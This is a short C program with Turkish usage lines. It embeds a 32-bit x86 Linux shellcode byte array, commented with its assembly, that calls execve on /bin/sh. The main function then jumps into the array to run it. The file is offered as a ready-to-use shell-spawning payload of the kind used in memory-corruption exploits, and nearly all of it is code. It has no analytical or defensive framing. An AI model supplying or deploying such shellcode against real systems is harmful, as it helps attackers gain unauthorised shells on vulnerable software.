Kullanimi:gcc file.c
./file.out
./file.out
Code:
#include <stdio.h>
#include <string.h>
unsigned const char sc[] =
"\x31\xc0" //xor %eax,%eax
"\x99" //cltd
"\x68\x2f\x73\x68\x78" //push $0x7868732f
"\x68\x2f\x62\x69\x6e" //push $0x6e69622f
"\x89\xe3" //mov %esp,%ebx
"\x88\x43\x07" //mov %al,0x7(%ebx)
"\x50" //push %eax
"\x53" //push %ebx
"\x89\xe1" //mov %esp,%ecx
"\xb0\x0b" //mov $0xb,%al
"\xcd\x80" //int $0x80
;
int main(void){
printf("Shellcode lenght: %d\n", strlen(sc));
__asm__ ("jmp sc");
return 0;
}
